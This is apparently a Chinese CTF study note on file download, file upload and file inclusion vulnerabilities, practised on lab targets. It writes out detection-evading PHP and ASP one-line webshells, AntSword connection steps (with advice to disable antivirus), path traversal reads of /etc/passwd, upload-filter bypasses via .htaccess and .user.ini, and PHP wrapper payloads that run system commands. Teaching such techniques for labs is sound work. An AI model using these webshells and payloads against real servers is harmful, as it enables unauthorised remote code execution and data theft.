Web 安全笔记 · 文件上传与文件包含

WEB 安全 · CTF 学习笔记

文件上传与文件包含漏洞

第 3 课时整理｜一句话木马 · 下载漏洞 · 上传绕过 · 文件包含

📌 本节导读

从一个“最基础的一句话木马”开始，逐步解决检测流量、绕过上传限制、利用文件包含拿到目标权限。本笔记把课堂中的前置知识、工具配置、绕过代码与实战思路全部压缩成手机可回看的清单。

一句话木马变形

检测绕过基础

基础的一句话木马常被安全设备识别，尤其是 <?php、eval、$_POST、中括号等特征。可用以下变形保留执行功能。

常见变体写法

经典完整版：

<?php @eval($_POST['x']); ?>

短标签（PHP 短标签）版：

<? eval($_POST['x']);?>

花括号替换中括号，绕关键字过滤：

<?php @eval($_POST{x}); ?>

ASP 环境：

<% eval request("x") %>

数组变形写法：

<?php $a=$_POST; @eval($a['x']);?>

⚠️ 蚁剑连接时，PHP 一句话木马应当写成 POST 方式传参；避免使用 GET 连接，减少流量日志暴露。连接密码与变量名保持一致。

前置工具与靶场安装

第一讲实操

蚁剑 AntSword

开源、跨平台的 WebShell 管理工具，用于连接和管理目标服务器上的 Shell，提供文件管理、命令执行、虚拟终端等能力，是安全测试人员常用工具。

安装与启动

解压压缩包，放在英文路径工具目录中。

进入“名字长”的文件夹，双击运行其中的 .exe。

首次启动会要求初始化工作目录，点击“初始化”，并选择“名字短”的源码目录。

手动关闭并重新启动，即可进入蚁剑主界面。

注意：此类 Webshell 工具会被杀毒软件报毒，属正常现象。解压与运行前建议暂时关闭杀毒软件。

靶场虚拟机导入

资料中提供 .ova/.ovf 镜像，打开 VMware 后直接拖到“库”空白处导入。

命名为 win10 等英文名，存储路径尽量不选 C 盘，且必须为纯英文路径。

导入失败时，右键目标文件夹 → 属性 → 安全 → 编辑 user 完全控制权限。

虚拟机启动后，在装有 phpStudy 的靶机中启动 Apache；用Win+R 查看服务，确认 Apache 正在运行。

在虚拟网络编辑器中添加一个 NAT 网卡，给虚拟机提供网络。

虚拟机内执行 ipconfig 获取 IP，浏览器访问该 IP 即可打开靶场。

💡 环境问题优先自查：权限、目录路径、Apache 服务、网络网卡、杀毒拦截。

文件下载漏洞

任意文件读取

本质：服务器把用户可控参数直接当作文件路径 / 文件标识使用，未限制访问范围，导致可下载服务器上的任意文件。

典型后端逻辑：

download.php?file=xxx.png
后端：readfile($file);

攻击者将参数改为 ../../etc/passwd 或服务器敏感文件，即可读取。

Pikachu 靶场案例

在“不安全的文件下载”功能中，点击球员头像下载，抓包发现链接为：

unsafedownload.php?filename=kobe.png

将参数改成其他球员姓名，能下载任意头像文件。

更改路径后，可下载服务器上的任意文件。

关键在于验证：filename 直接拼接文件路径，后端没有过滤目录穿越或目标路径。

文件上传漏洞绕过

重点·超长模块

本质：服务器对上传文件的类型、内容、文件名或存储路径校验不当，攻击者可以上传或覆盖非预期文件；若被服务器当作可执行脚本，则可能拿到 RCE。

第 1 关 · 前端 JS 限制绕过

前端只允许 jpg/png，上传 php 被拦截。

方法：F12 → 设置 → 调试程序 → 禁用 JavaScript → 重新上传。

更专业方式：用 Burp Suite 直接丢包重放，不要依赖前端校验。

第 2 关 · MIME 类型绕过

把文件改成 1.png 上传，Burp 抓包后在 Repeater 中修改：

Content-Type: image/png
filename="1.png" → filename="1.php"

内容保持 PHP 一句话不变，后端只检查了 Content-Type，未检查文件内容。

第 3 关 · PHP 特殊后缀绕过

禁用了 .php，尝试可执行后缀：

.php3.php5.phtml.pht

上传时将 filename 改为 1.php3，若被改名成时间戳，则在响应包中找到真实存储路径。

根据响应路径拼 URL 后用蚁剑连接即可。

第 4 关 · .htaccess 绕过

.htaccess 是 Apache 的分布式配置文件，可以用它让某个后缀被解析为 PHP。

上传 .htaccess 内容：

AddType application/x-httpd-php .jpg

或：

SetHandler application/x-httpd-php

随后上传一张“图片马”，服务器会把它解析成 PHP。

适用前提：目标站点允许 .htaccess 生效，并且当前上传目录可被 Apache 解析。

第 5 关 · .user.ini 绕过

当 Apache / Nginx 环境允许解析 .user.ini 时，可以给目录下的 PHP 文件“预包含”我们上传的图片码文件。

上传 .user.ini：

auto_prepend_file=1.png

作用原理：先让一个普通的 PHP 文件（如 index.php）被访问，执行前先 include 指定文件，如 1.png。

效果等价于在 index.php 里 require 了预留的一句话码。

触发前提：当前上传目录下会存在一个可访问的 PHP 文件。

黑名单系列 · 后缀绕过

第 6～10 关大多是黑名单过滤，只是过滤方式不同，常见思路汇总：

大小写绕过：1.phP

空格绕过：1.php

点绕过：1.php.

Windows 下用 ::$DATA 绕过：1.php::$DATA

双写绕过：1.pphphp（过滤 str_replace 删除 "php" 后剩 "php"）

文件包含漏洞

RFI / LFI

本质：用户可控的变量被包含进 include / require 类型函数，导致服务器执行了外部文件的内容。

4 个包含函数区别

require：文件不存在直接致命错误，停止脚本。

include：文件不存在产生警告，脚本继续执行。

require_once：与 require 类似，若该文件已包含则不再包含。

include_once：与 include 类似，若该文件已包含则不再包含。

PHP 伪协议利用

下面协议是 CTF 文件包含题的核心“弹药库”。

file:// —— 本地文件读取

?file=file:///etc/passwd

php://filter —— 读取 PHP 源码

?file=php://filter/read=convert.base64-encode/resource=flag.php

PHP 文件如果直接包含会被当成代码执行，不会显示原文；先 base64 编码再输出，就能看到源代码。

php://input —— 把 POST 内容当作 PHP 执行

?file=php://input
POST: <?php system('id');?>

利用条件：allow_url_include=On

zip:// —— 读取压缩包内的 PHP 文件

?file=zip:///绝对路径/aaa.zip%23shell.php

# 编码为 %23，压缩包路径必须准确，后缀名可自由改。

data:// —— 数据流当作代码执行

?file=data://text/plain,<?php system('cat flag.php');?>

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

利用条件：allow_url_include=On

例题思路：直接读取

题目类似：

?file=php://filter/read=convert.base64-encode/resource=flag.php

将得到的 base64 内容解码即可看到 flag。

例题思路：关键字替换绕过

后端可能把 php 等字符替换成空/问号，此时不能直接用 php:// 协议。

可以尝试大小写绕过 PHP://。

也可直接用 data:// 伪协议 + <?=system('cat flag.php');?> 短标签执行命令读取。

课后实战任务

多敲多练

进入“新生练习靶场”，分别创建上传题目实例。

每道题都用 Burp Suite 抓包 + AntSword 连接完成一遍。

遇到不会的优先看回放，再不行截图问老师。

✅ 操作建议清单

关闭杀软，重新配置蚁剑，保证工具可用。

用 Pikachu 靶场练习文件下载和前端绕过。

在 upload-labs 中逐关尝试：前端绕、MIME、特殊后缀、.user.ini 与各种黑名单后缀。

把伪协议的四个典型 payload 抄一遍、执行一遍。

「先会连 shell，再懂绕校验；
过滤只是增加门槛，
思路比 payload 更重要。」